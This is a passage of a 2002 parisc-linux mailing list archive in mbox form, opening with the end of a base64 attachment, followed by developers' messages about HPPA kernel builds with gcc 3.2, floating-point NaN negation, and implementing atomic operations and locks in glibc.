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
VsiJ/zZSTJUKBqZRRGKCoT/+LuSKcKEgqkOHFg==

--=========3DA3C9AF00003CC7/mail.tiscali.be--


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Mon, 18 Nov 2002 14:34:56 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <3DA3C9AF00003D31@ocpmta2.be.tiscali.com>
References: <20021115205028.GI7587@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621944 17355 80.91.229.3 (22 Nov 2014 02:05:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:44 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	bzeeb-lists@lists.zabbadoz.net, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 06:35:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63DB2482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 06:35:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Dm3F-0002Jv-00; Mon, 18 Nov 2002 14:34:57 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 18 Nov 2002 14:34:56 +0100
In-Reply-To: <20021115205028.GI7587@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16851

Hey Carlos,

>
>> > My impression from what Joel has said is that the problem is bad coding
>> > rather than an actual gcc problem.  However, up to now, nobody has been
>> > able to provide a precise analysis of what's going on.
>> 
>> or even duplicate the problem.. i've been building 2.4 and 2.5 kernels
>> with 3.2 for some time.... haven't seen the problems that have been
>> reported.
>> 
>
>32 or 64-bit kernels? All debian tools? Mix of debian and upstream?
>

For my part I only tested 32bits 2.4.19 with gcc-3.2 (and previously 3.1).
The same problem occured as well with a cross compiled (hppa->hppa) as native
compiled gcc (following toolchain-howto method).
Unfortunaltely the best I could back trace was that the last kernel function
call was (trivial) dump_stack

>My only run-in with the problem was with 32-bit kernels cross compiled
>from x86. Though lately I'm using a gcc-3.1 based XC and it builds functional
>64-bit kernels.
>
>This is definately becoming one of those HPPA urban legends. I shall add
>it to my TODO list and verify that I can build a 32/64-bit kernel
>natively and cross with all the latest upstream cvs bits.
>

(I did this test _some month ago_ but did not bring me the sol. But that
was some month ago.)

I do also test loopback device (127.0.0.1) but (shame on me) I forgot the
result :((
The goal of this test was to try to point out the location of the problem:
ethernet driver or IP?

Any other idea are well come,
Joel

 

-----------------------------------------------------
ADSL Advantage...L'activation et le 1er mois sont GRATUITS...http://adsl.tiscali.be




From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 18 Nov 2002 11:12:15 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20021118161215.GE2729@systemhalted>
References: <20021111211624.GC9704@systemhalted> <200211172154.gAHLseba018429@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621944 17357 80.91.229.3 (22 Nov 2014 02:05:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 09:12:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20B38482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 09:12:05 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18DoVU-00023f-00; Mon, 18 Nov 2002 11:12:16 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211172154.gAHLseba018429@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (81% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16852

> It occurred to me these might be a gcc problem on PA1 machines.  These
> machines don't have fneg and negation is currently implemented as the
> product with -1.  This may cause invalid operation to be set if the
> value is a signaling NaN.
> 
> A better way to do the negation is to toggle the sign bit but this is
> inefficient as the value needs to be copied from a FPR to a GPR and
> back again.
> 
> A quick check would be to run the tests with "-mpa-risc-2-0" and see
> if this makes any difference.
> 

Interesting. I shall add this to my list of checks todo once I get glibc
2.3.1 out the door. Everything is setup, I'm just running into some
package integration problems (e.g. failing to restart certain services
causes the dpkg -i to fail).

My todo includes:

- Follow our discussion on delayed exceptions and try a few
  implementations of trap barriers

- Examine if -1*NaN is causing failures in the fp glibc tests.

- Implement atomic_add, echange_and_add, and compare and swap, which are
  required in atomicity.h

- Make some progress implementing *context() calls in glibc (SAPDB needs
  them).

- Take a closer look at our setjump/longjmp impementation (there were
  some fears that it was mildly broken)

c.



From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 18 Nov 2002 12:42:32 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200211181742.gAIHgWcv019940@hiauly1.hia.nrc.ca>
References: <20021118161215.GE2729@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621944 17359 80.91.229.3 (22 Nov 2014 02:05:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 10:42:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73079482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 10:42:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAIHgXot019941;
	Mon, 18 Nov 2002 12:42:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAIHgWcv019940;
	Mon, 18 Nov 2002 12:42:32 -0500 (EST)
In-Reply-To: <20021118161215.GE2729@systemhalted> from "Carlos O'Donell" at Nov 18, 2002 11:12:15 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16853

> - Implement atomic_add, echange_and_add, and compare and swap, which are
>   required in atomicity.h

I added an implementation of atomic_add and echange_and_add to libstdc++
recently.  You can probably copy most of it for glibc, although the libstdc++
implementation is for c++.  The main problem would be in initializing
the 16 byte lock structure.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 18 Nov 2002 14:30:07 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20021118193007.GA10036@systemhalted>
References: <20021118161215.GE2729@systemhalted> <200211181742.gAIHgWcv019940@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621945 17362 80.91.229.3 (22 Nov 2014 02:05:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 12:29:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD2C8482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 12:29:58 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Dray-0002dO-00; Mon, 18 Nov 2002 14:30:08 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211181742.gAIHgWcv019940@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16854

> > - Implement atomic_add, echange_and_add, and compare and swap, which are
> >   required in atomicity.h
> 
> I added an implementation of atomic_add and echange_and_add to libstdc++
> recently.  You can probably copy most of it for glibc, although the libstdc++
> implementation is for c++.  The main problem would be in initializing
> the 16 byte lock structure.
> 

We already have a 16-byte aligned lock structure in glibc for pthreads, 
and I plan to use the same construct in atomicity.h.

...
typedef struct {
       int lock;
} __attribute__((aligned (16))) __atomic_lock_t;
...
#define __LOCK_INIT = { 1 };
static __atomic_lock_t __hppa_lock = __LOCK_INIT;
...
Ref the above lock in my __asm statement and use ldcw and a loop to make
sure the C function stays atomic for those threads (similar
implementation to sparc and mips).

c.



From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 18 Nov 2002 14:44:38 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200211181944.gAIJicJO020807@hiauly1.hia.nrc.ca>
References: <20021118193007.GA10036@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621945 17364 80.91.229.3 (22 Nov 2014 02:05:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 12:44:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9E2B482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 12:44:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAIJicot020808;
	Mon, 18 Nov 2002 14:44:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAIJicJO020807;
	Mon, 18 Nov 2002 14:44:38 -0500 (EST)
In-Reply-To: <20021118193007.GA10036@systemhalted> from "Carlos O'Donell" at Nov 18, 2002 02:30:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16855

> We already have a 16-byte aligned lock structure in glibc for pthreads, 
> and I plan to use the same construct in atomicity.h.

You might consider whether a separate lock structure might be appropriate.
Otherwise, it might be possible for a deadlock to occur.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
